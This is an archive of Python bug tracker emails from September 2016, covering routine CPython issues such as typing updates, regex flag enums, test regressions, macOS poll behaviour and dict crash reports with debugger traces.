In-Reply-To: <1473509102.04.0.505465469973.issue28061@psf.upfronthosting.co.za>
Message-ID: <1473632480.57.0.308047720733.issue28061@psf.upfronthosting.co.za>


Emanuel Barry added the comment:

I don't know what exactly happened that would make it crash, but after wiping off everything and starting over, it works fine now. Sorry for the noise!

----------
components:  -Windows
priority: release blocker -> normal
resolution:  -> not a bug
stage: needs patch -> resolved
status: open -> closed
type: crash -> 

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28061>
_______________________________________

From report at bugs.python.org  Sun Sep 11 18:31:48 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 11 Sep 2016 22:31:48 +0000
Subject: [issue28079] Update typing and test typing from python/typing repo
In-Reply-To: <1473612689.01.0.590499528745.issue28079@psf.upfronthosting.co.za>
Message-ID: <20160911223141.18990.12864.AAB98724@psf.io>


Roundup Robot added the comment:

New changeset b66e0856ab24 by Guido van Rossum in branch 'default':
Issue #28079: Update typing and test typing from python/typing repo.
https://hg.python.org/cpython/rev/b66e0856ab24

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28079>
_______________________________________

From report at bugs.python.org  Sun Sep 11 18:35:59 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 11 Sep 2016 22:35:59 +0000
Subject: [issue28079] Update typing and test typing from python/typing repo
In-Reply-To: <1473612689.01.0.590499528745.issue28079@psf.upfronthosting.co.za>
Message-ID: <20160911223557.2012.37329.ACA78EFD@psf.io>


Roundup Robot added the comment:

New changeset cf7da3fd6450 by Guido van Rossum in branch '3.5':
Issue #28079: Update typing and test typing from python/typing repo.
https://hg.python.org/cpython/rev/cf7da3fd6450

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28079>
_______________________________________

From report at bugs.python.org  Sun Sep 11 18:39:55 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Sun, 11 Sep 2016 22:39:55 +0000
Subject: [issue28079] Update typing and test typing from python/typing repo
In-Reply-To: <1473612689.01.0.590499528745.issue28079@psf.upfronthosting.co.za>
Message-ID: <1473633595.69.0.756798309818.issue28079@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

Thanks! All set.

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28079>
_______________________________________

From report at bugs.python.org  Sun Sep 11 18:41:30 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Sun, 11 Sep 2016 22:41:30 +0000
Subject: [issue28079] Update typing and test typing from python/typing repo
In-Reply-To: <1473612689.01.0.590499528745.issue28079@psf.upfronthosting.co.za>
Message-ID: <1473633595.69.0.756798309818.issue28079@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

Thanks! All set.

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28079>
_______________________________________

From report at bugs.python.org  Sun Sep 11 18:41:30 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Sun, 11 Sep 2016 22:41:30 +0000
Subject: [issue28079] Update typing and test typing from python/typing repo
In-Reply-To: <1473612689.01.0.590499528745.issue28079@psf.upfronthosting.co.za>
Message-ID: <1473633690.78.0.255334470505.issue28079@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

Thanks! All set.

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28079>
_______________________________________

From report at bugs.python.org  Sun Sep 11 18:41:30 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Sun, 11 Sep 2016 22:41:30 +0000
Subject: [issue28079] Update typing and test typing from python/typing repo
In-Reply-To: <1473612689.01.0.590499528745.issue28079@psf.upfronthosting.co.za>
Message-ID: <1473633595.69.0.756798309818.issue28079@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

Thanks! All set.

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28079>
_______________________________________

From report at bugs.python.org  Sun Sep 11 18:41:31 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Sun, 11 Sep 2016 22:41:31 +0000
Subject: [issue28079] Update typing and test typing from python/typing repo
In-Reply-To: <1473612689.01.0.590499528745.issue28079@psf.upfronthosting.co.za>
Message-ID: <1473633691.74.0.532635510895.issue28079@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

Thanks! All set.

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28079>
_______________________________________

From report at bugs.python.org  Sun Sep 11 18:41:31 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Sun, 11 Sep 2016 22:41:31 +0000
Subject: [issue28079] Update typing and test typing from python/typing repo
In-Reply-To: <1473612689.01.0.590499528745.issue28079@psf.upfronthosting.co.za>
Message-ID: <1473633690.78.0.255334470505.issue28079@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

Thanks! All set.

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28079>
_______________________________________

From report at bugs.python.org  Sun Sep 11 18:43:57 2016
From: report at bugs.python.org (Robert Collins)
Date: Sun, 11 Sep 2016 22:43:57 +0000
Subject: [issue28086] test.test_getargs2.TupleSubclass test failure
Message-ID: <1473633837.1.0.634614870367.issue28086@psf.upfronthosting.co.za>


New submission from Robert Collins:

The test.test_getargs2.TupleSubclass test is failing in master. I suspect its a fastcall fallout.

----------
messages: 275879
nosy: rbcollins, serhiy.storchaka
priority: normal
severity: normal
stage: needs patch
status: open
title: test.test_getargs2.TupleSubclass test failure
type: compile error

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28086>
_______________________________________

From report at bugs.python.org  Sun Sep 11 18:44:12 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Sun, 11 Sep 2016 22:44:12 +0000
Subject: [issue28082] re: convert re flags to (much friendlier) IntFlag
 constants
In-Reply-To: <1473625770.04.0.107359046953.issue28082@psf.upfronthosting.co.za>
Message-ID: <1473633852.79.0.584098098567.issue28082@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

Yeah, I am generally in favor of this. Just yesterday there was a bug report (#28070) where someone claimed that the flags from r'(ix)A' were incorrect. They were 96 and should be 98. (He was right, and it was fixed already.) The way he had to prove that was rather indirect. If the flags had printed like with this proposal it would have been much more straightforward.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28082>
_______________________________________

From report at bugs.python.org  Sun Sep 11 18:53:25 2016
From: report at bugs.python.org (Martin Panter)
Date: Sun, 11 Sep 2016 22:53:25 +0000
Subject: [issue28084] Fatal Python error: Py_EndInterpreter: not the last
 thread
In-Reply-To: <1473629098.61.0.533151135265.issue28084@psf.upfronthosting.co.za>
Message-ID: <1473634405.91.0.317955987368.issue28084@psf.upfronthosting.co.za>


Changes by Martin Panter <vadmium+py at gmail.com>:


----------
resolution:  -> duplicate
status: open -> closed
superseder:  -> test_threading: test_threads_join_2() failed with "Fatal Python error: Py_EndInterpreter: not the last thread"

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28084>
_______________________________________

From report at bugs.python.org  Sun Sep 11 18:57:00 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 11 Sep 2016 22:57:00 +0000
Subject: [issue28082] re: convert re flags to (much friendlier) IntFlag
 constants
In-Reply-To: <1473625770.04.0.107359046953.issue28082@psf.upfronthosting.co.za>
Message-ID: <1473634620.19.0.541676741038.issue28082@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

Ethan, can you give this class a better name than "Flags"?  Perhaps something like "RegexFlags" or somesuch?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28082>
_______________________________________

From report at bugs.python.org  Sun Sep 11 18:57:14 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 11 Sep 2016 22:57:14 +0000
Subject: [issue28082] re: convert re flags to (much friendlier) IntFlag
 constants
In-Reply-To: <1473625770.04.0.107359046953.issue28082@psf.upfronthosting.co.za>
Message-ID: <1473634634.03.0.110537754327.issue28082@psf.upfronthosting.co.za>


Changes by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
assignee: gvanrossum -> ethan.furman

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28082>
_______________________________________

From report at bugs.python.org  Sun Sep 11 18:59:08 2016
From: report at bugs.python.org (Steve Kowalik)
Date: Sun, 11 Sep 2016 22:59:08 +0000
Subject: [issue28086] test.test_getargs2.TupleSubclass test failure
In-Reply-To: <1473633837.1.0.634614870367.issue28086@psf.upfronthosting.co.za>
Message-ID: <1473634748.8.0.18455756717.issue28086@psf.upfronthosting.co.za>


Steve Kowalik added the comment:

I've bisected this via the git mirror, and converting it to the hg changeset gives changeset 103659:51b635e81958 as what introduced this failure.

----------
nosy: +stevenk

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28086>
_______________________________________

From report at bugs.python.org  Sun Sep 11 19:01:27 2016
From: report at bugs.python.org (Ethan Furman)
Date: Sun, 11 Sep 2016 23:01:27 +0000
Subject: [issue28082] re: convert re flags to (much friendlier) IntFlag
 constants
In-Reply-To: <1473625770.04.0.107359046953.issue28082@psf.upfronthosting.co.za>
Message-ID: <1473634887.36.0.886900287394.issue28082@psf.upfronthosting.co.za>


Ethan Furman added the comment:

I did, immediately after your first post -- it's now RegexFlag.  Thank you for the suggestion!  Naming things can be hard, especially when trying to beat a deadline.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28082>
_______________________________________

From report at bugs.python.org  Sun Sep 11 19:02:29 2016
From: report at bugs.python.org (Barry A. Warsaw)
Date: Sun, 11 Sep 2016 23:02:29 +0000
Subject: [issue28086] test.test_getargs2.TupleSubclass test failure
In-Reply-To: <1473633837.1.0.634614870367.issue28086@psf.upfronthosting.co.za>
Message-ID: <1473634949.52.0.988577338156.issue28086@psf.upfronthosting.co.za>


Changes by Barry A. Warsaw <barry at python.org>:


----------
nosy: +barry

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28086>
_______________________________________

From report at bugs.python.org  Sun Sep 11 19:17:23 2016
From: report at bugs.python.org (Thomi Richards)
Date: Sun, 11 Sep 2016 23:17:23 +0000
Subject: [issue26511] Add link to id() built-in in comparison operator
 documentation for "is"
In-Reply-To: <1457451562.01.0.849547274402.issue26511@psf.upfronthosting.co.za>
Message-ID: <1473635843.59.0.859418686495.issue26511@psf.upfronthosting.co.za>


Thomi Richards added the comment:

Attached patch for master branch.

----------
keywords: +patch
nosy: +thomir
Added file: http://bugs.python.org/file44568/issue_26511.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26511>
_______________________________________

From report at bugs.python.org  Sun Sep 11 19:27:27 2016
From: report at bugs.python.org (Robert Collins)
Date: Sun, 11 Sep 2016 23:27:27 +0000
Subject: [issue27213] Rework CALL_FUNCTION* opcodes
In-Reply-To: <1465026334.02.0.369802561902.issue27213@psf.upfronthosting.co.za>
Message-ID: <1473636447.14.0.210345710564.issue27213@psf.upfronthosting.co.za>


Robert Collins added the comment:

See http://bugs.python.org/issue28086 - this introduced a regression in the test suite.

----------
nosy: +rbcollins

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27213>
_______________________________________

From report at bugs.python.org  Sun Sep 11 19:27:35 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sun, 11 Sep 2016 23:27:35 +0000
Subject: [issue28081] [Patch] timemodule: Complete Autoconf bits for clock_*()
 functions: make clock_getres() and clock_settime() optional
In-Reply-To: <1473618669.04.0.158374043531.issue28081@psf.upfronthosting.co.za>
Message-ID: <1473636455.3.0.587526692701.issue28081@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


----------
nosy: +haypo

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28081>
_______________________________________

From report at bugs.python.org  Sun Sep 11 19:34:59 2016
From: report at bugs.python.org (Thomi Richards)
Date: Sun, 11 Sep 2016 23:34:59 +0000
Subject: [issue26511] Add link to id() built-in in comparison operator
 documentation for "is"
In-Reply-To: <1457451562.01.0.849547274402.issue26511@psf.upfronthosting.co.za>
Message-ID: <1473636899.4.0.670590736474.issue26511@psf.upfronthosting.co.za>


Thomi Richards added the comment:

The attached patch applies to 3.5, but not 2.7. If you're happy with it, I can work up a version for 2.7 as well.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26511>
_______________________________________

From report at bugs.python.org  Sun Sep 11 19:36:55 2016
From: report at bugs.python.org (Ennis Massey)
Date: Sun, 11 Sep 2016 23:36:55 +0000
Subject: [issue28087] Mac OS X poll syscall returns prematurely
Message-ID: <1473637008.93.0.918549766701.issue28087@psf.upfronthosting.co.za>


New submission from Ennis Massey:

Upon calling the select.poll objects poll method with no file descriptors registered, it will return an empty list immediately, regardless of the timeout given. This is a problem in the Mac OS X kernels implementation of the poll syscall, but the test can be easily fixed by binding a throwaway socket to the poll objects, and then using the poll method as usual.

Build details are attached

----------
components: Macintosh
files: buildlog.log
messages: 275887
nosy: MicroTransactionsMatterToo, ned.deily, ronaldoussoren
priority: normal
severity: normal
status: open
title: Mac OS X poll syscall returns prematurely
type: compile error
versions: Python 3.6
Added file: http://bugs.python.org/file44569/buildlog.log

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28087>
_______________________________________

From report at bugs.python.org  Sun Sep 11 19:43:13 2016
From: report at bugs.python.org (Barry A. Warsaw)
Date: Sun, 11 Sep 2016 23:43:13 +0000
Subject: [issue24168] Unittest discover fails with namespace package if the
 path contains the string same as the module name
In-Reply-To: <1431393278.14.0.705809016524.issue24168@psf.upfronthosting.co.za>
Message-ID: <1473637393.15.0.575479612992.issue24168@psf.upfronthosting.co.za>


Barry A. Warsaw added the comment:

I think this bug actually is fixed now.  I've tried my previously failing case in Python 3.5 and 3.6 head and I don't get the error.

----------
resolution:  -> out of date
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24168>
_______________________________________

From report at bugs.python.org  Sun Sep 11 19:52:05 2016
From: report at bugs.python.org (Ennis Massey)
Date: Sun, 11 Sep 2016 23:52:05 +0000
Subject: [issue28087] Mac OS X poll syscall returns prematurely
In-Reply-To: <1473637008.93.0.918549766701.issue28087@psf.upfronthosting.co.za>
Message-ID: <1473637925.0.0.411833474977.issue28087@psf.upfronthosting.co.za>


Ennis Massey added the comment:

Patch exemplifying a fix for this in the test files

----------
Added file: http://bugs.python.org/file44570/eintr_tester.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28087>
_______________________________________

From report at bugs.python.org  Sun Sep 11 19:58:15 2016
From: report at bugs.python.org (Robert Collins)
Date: Sun, 11 Sep 2016 23:58:15 +0000
Subject: [issue24412] setUpClass equivalent for addCleanup
In-Reply-To: <1433788299.35.0.440062273493.issue24412@psf.upfronthosting.co.za>
Message-ID: <1473638295.71.0.0431286801011.issue24412@psf.upfronthosting.co.za>


Robert Collins added the comment:

So, thank you for the patch. However - there's no need for a metaclass here, and its actively harmful to comprehending the code.

As I suggested earlier, please decouple the cleanups implementation and then consume it from the two places that it will be needed (testcase and testsuite).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24412>
_______________________________________

From report at bugs.python.org  Sun Sep 11 19:58:41 2016
From: report at bugs.python.org (Stephen J. Turnbull)
Date: Sun, 11 Sep 2016 23:58:41 +0000
Subject: [issue28080] Allow reading member names with bogus encodings in
 zipfile
In-Reply-To: <1473620375.38.0.155906896901.issue28080@psf.upfronthosting.co.za>
Message-ID: <1473638321.8.0.183324715988.issue28080@psf.upfronthosting.co.za>


Stephen J. Turnbull added the comment:

Can't reply on Rietveld?  Lost 2 hours work!

Patch updated (encoded-member-names-v2), most changes accepted.  Not happy about name change or default to cp437, I want this API to be hard to use and not be part of the normal process (utf-8 or cp437).  Considering errors= argument, but that must default to 'strict' -- the problem this patch solves is zip utilities extracting to files with unreadable names, surrogateescape is more of the same.  Two incomplete tests (assertRaisesRegex and capture main() stderr) still in progress, must do dayjob now.

----------
Added file: http://bugs.python.org/file44571/encoded-member-names-v2

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28080>
_______________________________________

From report at bugs.python.org  Sun Sep 11 20:01:39 2016
From: report at bugs.python.org (Kesara Rathnayake)
Date: Mon, 12 Sep 2016 00:01:39 +0000
Subject: [issue17582] xml.etree.ElementTree does not preserve whitespaces in
 attributes
In-Reply-To: <1364660794.69.0.883579635559.issue17582@psf.upfronthosting.co.za>
Message-ID: <1473638499.01.0.616416594197.issue17582@psf.upfronthosting.co.za>


Changes by Kesara Rathnayake <kesara at kesara.lk>:


----------
versions: +Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17582>
_______________________________________

From report at bugs.python.org  Sun Sep 11 20:07:12 2016
From: report at bugs.python.org (Steve Kowalik)
Date: Mon, 12 Sep 2016 00:07:12 +0000
Subject: [issue16700] Document that bytes OS API can returns unusable results
 on Windows
In-Reply-To: <1355677117.39.0.191453655217.issue16700@psf.upfronthosting.co.za>
Message-ID: <1473638832.89.0.407604124888.issue16700@psf.upfronthosting.co.za>


Steve Kowalik added the comment:

I've looked at the documentation for both Python 3.5 and 3.6, and I think this is all fine -- things like os.environb and os.getcwdb() are clearly stated as not available on Windows, and the path functions look to work fine in my testing.

----------
nosy: +stevenk

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16700>
_______________________________________

From report at bugs.python.org  Sun Sep 11 20:07:45 2016
From: report at bugs.python.org (Ennis Massey)
Date: Mon, 12 Sep 2016 00:07:45 +0000
Subject: [issue28087] Mac OS X poll syscall returns prematurely
In-Reply-To: <1473637008.93.0.918549766701.issue28087@psf.upfronthosting.co.za>
Message-ID: <1473638865.22.0.686960009568.issue28087@psf.upfronthosting.co.za>


Changes by Ennis Massey <ennisbaradine at gmail.com>:


Removed file: http://bugs.python.org/file44570/eintr_tester.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28087>
_______________________________________

From report at bugs.python.org  Sun Sep 11 20:07:55 2016
From: report at bugs.python.org (Barry A. Warsaw)
Date: Mon, 12 Sep 2016 00:07:55 +0000
Subject: [issue16700] Document that bytes OS API can returns unusable results
 on Windows
In-Reply-To: <1355677117.39.0.191453655217.issue16700@psf.upfronthosting.co.za>
Message-ID: <1473638875.77.0.363276638133.issue16700@psf.upfronthosting.co.za>


Barry A. Warsaw added the comment:

Thanks Steve!  Closing.

----------
nosy: +barry
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16700>
_______________________________________

From report at bugs.python.org  Sun Sep 11 20:09:21 2016
From: report at bugs.python.org (Ennis Massey)
Date: Mon, 12 Sep 2016 00:09:21 +0000
Subject: [issue28087] Mac OS X poll syscall returns prematurely
In-Reply-To: <1473637008.93.0.918549766701.issue28087@psf.upfronthosting.co.za>
Message-ID: <1473638961.97.0.0213134740603.issue28087@psf.upfronthosting.co.za>


Ennis Massey added the comment:

Fixed patch file, now in diff format

----------
keywords: +patch
Added file: http://bugs.python.org/file44572/eintr_tester.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28087>
_______________________________________

From report at bugs.python.org  Sun Sep 11 20:10:18 2016
From: report at bugs.python.org (Robert Collins)
Date: Mon, 12 Sep 2016 00:10:18 +0000
Subject: [issue24412] setUpClass equivalent for addCleanup
In-Reply-To: <1433788299.35.0.440062273493.issue24412@psf.upfronthosting.co.za>
Message-ID: <1473639018.43.0.309158112408.issue24412@psf.upfronthosting.co.za>


Robert Collins added the comment:

Btw some things to be aware of in addressing this:

 - we will need tests that catchable exceptions raised from a setUpModule or setUpClass cause cleanups already registered to run
 - if (and I'd need to check this) setUpModule or setUpClass can nest - I think setUpModule may, in package.module contexts) - that non-local cleanups definitively run too

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24412>
_______________________________________

From report at bugs.python.org  Sun Sep 11 20:15:26 2016
From: report at bugs.python.org (Robert Collins)
Date: Mon, 12 Sep 2016 00:15:26 +0000
Subject: [issue25573] FrameSummary repr() does not support previously working
 uses of repr in traceback module
In-Reply-To: <1446845666.11.0.0803768990935.issue25573@psf.upfronthosting.co.za>
Message-ID: <1473639326.1.0.485272951473.issue25573@psf.upfronthosting.co.za>


Robert Collins added the comment:

So I think its fine to have a __len__ reporting 4. tuple(..) works via the iter() call, but thats really just a thunk to keep existing code working, and so __len__ for the same reason makes sense.

On the documentation issue, yes, updating the docs is appropriate.

Having the repr produce all the elements would be ok, the reason it is lazy is to avoid high costs for transient FrameSummary when its created and discarded shortly after.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25573>
_______________________________________

From report at bugs.python.org  Sun Sep 11 20:16:37 2016
From: report at bugs.python.org (Duane Griffin)
Date: Mon, 12 Sep 2016 00:16:37 +0000
Subject: [issue27945] Various segfaults with dict
In-Reply-To: <1472852008.61.0.354257945943.issue27945@psf.upfronthosting.co.za>
Message-ID: <1473639397.89.0.689183193247.issue27945@psf.upfronthosting.co.za>


Duane Griffin added the comment:

I cannot reproduce the segfaults for the first four issues however valgrind still reports problems for all but the second. The fifth (last) one still segfaults.

I have a patch for the fifth issue. The other remaining issues are all reporting the same invalid read at exit. I'm not sure whether that is the same issue reported here or something else that they all trigger:

Invalid read of size 8
    at 0x43C5FA: delete_garbage (gcmodule.c:868)
    by 0x43C5FA: collect (gcmodule.c:1019)
    by 0x43D2F0: _PyGC_CollectNoFail (gcmodule.c:1623)
    by 0x55D95E: PyImport_Cleanup (import.c:420)
    by 0x4224E5: Py_FinalizeEx.part.3 (pylifecycle.c:612)
    by 0x43B0CB: Py_Main (main.c:798)
    by 0x41DC71: main (python.c:69)

----------
keywords: +patch
nosy: +duaneg
Added file: http://bugs.python.org/file44573/0001-Issue-27945-fix-dictiter_iternextitem-use-after-free.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27945>
_______________________________________

From report at bugs.python.org  Sun Sep 11 20:17:26 2016
From: report at bugs.python.org (Barry A. Warsaw)
Date: Mon, 12 Sep 2016 00:17:26 +0000
Subject: [issue13924] Mercurial robots.txt should let robots crawl landing
 pages.
In-Reply-To: <1328135396.1.0.0965106732225.issue13924@psf.upfronthosting.co.za>
Message-ID: <1473639446.32.0.128445474788.issue13924@psf.upfronthosting.co.za>


Barry A. Warsaw added the comment:

Two things: is it worth fixing this bug given the impending move to github?  Also, why is this reported here and not the pydotorg tracker?  https://github.com/python/pythondotorg/issues

Given that the last comment was 2014, I'm going to go ahead and close this issue.

----------
nosy: +barry
resolution:  -> wont fix
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue13924>
_______________________________________

From report at bugs.python.org  Sun Sep 11 20:24:22 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 12 Sep 2016 00:24:22 +0000
Subject: [issue26511] Add link to id() built-in in comparison operator
 documentation for "is"
In-Reply-To: <1457451562.01.0.849547274402.issue26511@psf.upfronthosting.co.za>
Message-ID: <20160912002410.48474.40199.A7D7F9F9@psf.io>


Roundup Robot added the comment:

New changeset f38b831cb6b9 by Raymond Hettinger in branch '3.5':
Issue #26511:  Reference the id() function in the 'is' and 'is not' docs
https://hg.python.org/cpython/rev/f38b831cb6b9

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26511>
_______________________________________

From report at bugs.python.org  Sun Sep 11 20:25:22 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 12 Sep 2016 00:25:22 +0000
Subject: [issue26511] Add link to id() built-in in comparison operator
 documentation for "is"
In-Reply-To: <1457451562.01.0.849547274402.issue26511@psf.upfronthosting.co.za>
Message-ID: <1473639922.52.0.858375077562.issue26511@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

Thanks for the patch.  Not need to go back to 2.7.  This is really minor.

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26511>
_______________________________________

From report at bugs.python.org  Sun Sep 11 20:40:34 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 12 Sep 2016 00:40:34 +0000
Subject: [issue17582] xml.etree.ElementTree does not preserve whitespaces in
 attributes
In-Reply-To: <1364660794.69.0.883579635559.issue17582@psf.upfronthosting.co.za>
Message-ID: <1473640834.59.0.0408212310375.issue17582@psf.upfronthosting.co.za>


Changes by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
assignee:  -> rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17582>
_______________________________________

From report at bugs.python.org  Sun Sep 11 20:40:56 2016
From: report at bugs.python.org (Duane Griffin)
Date: Mon, 12 Sep 2016 00:40:56 +0000
Subject: [issue27945] Various segfaults with dict
In-Reply-To: <1472852008.61.0.354257945943.issue27945@psf.upfronthosting.co.za>
Message-ID: <1473640856.05.0.447891083317.issue27945@psf.upfronthosting.co.za>


Duane Griffin added the comment:

Apologies: compiling python with --with-pydebug all of these issues are reproducible on head after all. Furthermore while my patch fixes the reported crash it still crashes on exit:

Program received signal SIGSEGV, Segmentation fault.
0x0000000000437193 in visit_decref (op=0x7ffff68a4c98, data=0x0) at Modules/gcmodule.c:374
374	    if (PyObject_IS_GC(op)) {
(gdb) bt
#0  0x0000000000437193 in visit_decref (op=0x7ffff68a4c98, data=0x0) at Modules/gcmodule.c:374
#1  0x00000000004a9112 in tupletraverse (o=0x7ffff68a49f8, visit=0x43716d <visit_decref>, arg=0x0) at Objects/tupleobject.c:571
#2  0x000000000043690a in subtract_refs (containers=containers at entry=0x87cda0 <generations+64>) at Modules/gcmodule.c:399
#3  0x0000000000437ac3 in collect (generation=generation at entry=2, n_collected=n_collected at entry=0x7fffffffd838, n_uncollectable=n_uncollectable at entry=0x7fffffffd840, 
    nofail=nofail at entry=0) at Modules/gcmodule.c:956
#4  0x0000000000437f57 in collect_with_callback (generation=generation at entry=2) at Modules/gcmodule.c:1128
#5  0x00000000004383a6 in PyGC_Collect () at Modules/gcmodule.c:1592
#6  0x00000000004383cf in _PyGC_CollectIfEnabled () at Modules/gcmodule.c:1605
#7  0x0000000000420c76 in Py_FinalizeEx () at Python/pylifecycle.c:603
#8  0x000000000043682b in Py_Main (argc=argc at entry=2, argv=argv at entry=0x90d010) at Modules/main.c:798
#9  0x000000000041d153 in main (argc=2, argv=0x7fffffffdae8) at ./Programs/python.c:69

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27945>
_______________________________________

From report at bugs.python.org  Sun Sep 11 20:42:12 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 12 Sep 2016 00:42:12 +0000
Subject: [issue17582] xml.etree.ElementTree does not preserve whitespaces in
 attributes
In-Reply-To: <1364660794.69.0.883579635559.issue17582@psf.upfronthosting.co.za>
Message-ID: <1473640932.21.0.0229938632313.issue17582@psf.upfronthosting.co.za>


Changes by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
assignee: rhettinger -> skrah
nosy: +skrah

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17582>
_______________________________________

From report at bugs.python.org  Sun Sep 11 20:44:57 2016
From: report at bugs.python.org (Eryk Sun)
Date: Mon, 12 Sep 2016 00:44:57 +0000
Subject: [issue28075] os.stat fails when access is denied
In-Reply-To: <1473584680.43.0.379847844225.issue28075@psf.upfronthosting.co.za>
Message-ID: <1473641097.38.0.659419481204.issue28075@psf.upfronthosting.co.za>


Changes by Eryk Sun <eryksun+pybugs at gmail.com>:


----------
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28075>
_______________________________________

From report at bugs.python.org  Sun Sep 11 20:45:39 2016
From: report at bugs.python.org (Ned Deily)
Date: Mon, 12 Sep 2016 00:45:39 +0000
Subject: [issue28083] socket: finish constant to Enum/Flag conversion
In-Reply-To: <1473626058.57.0.605411268701.issue28083@psf.upfronthosting.co.za>
Message-ID: <1473641139.64.0.840423970774.issue28083@psf.upfronthosting.co.za>


Ned Deily added the comment:

One could argue that it is a bug that the other constants are missing.  Ethan, if you can work with Christian to get them in by b2, that would be acceptable.

----------
nosy:  -larry

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28083>
_______________________________________

From report at bugs.python.org  Sun Sep 11 20:54:25 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Mon, 12 Sep 2016 00:54:25 +0000
Subject: [issue26081] Implement asyncio Future in C to improve performance
In-Reply-To: <1452533022.97.0.443242974791.issue26081@psf.upfronthosting.co.za>
Message-ID: <1473641665.23.0.166228336232.issue26081@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

Yury: What do you think of the code? How solid is it? (The issue I found was due to my own very recent changes to _blocking.)

Ned: Is it better to do this in 3.6b1 or to wait for 3.6b2?

----------
nosy: +ned.deily

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26081>
_______________________________________

From report at bugs.python.org  Sun Sep 11 21:07:37 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Mon, 12 Sep 2016 01:07:37 +0000
Subject: [issue26081] Implement asyncio Future in C to improve performance
In-Reply-To: <1452533022.97.0.443242974791.issue26081@psf.upfronthosting.co.za>
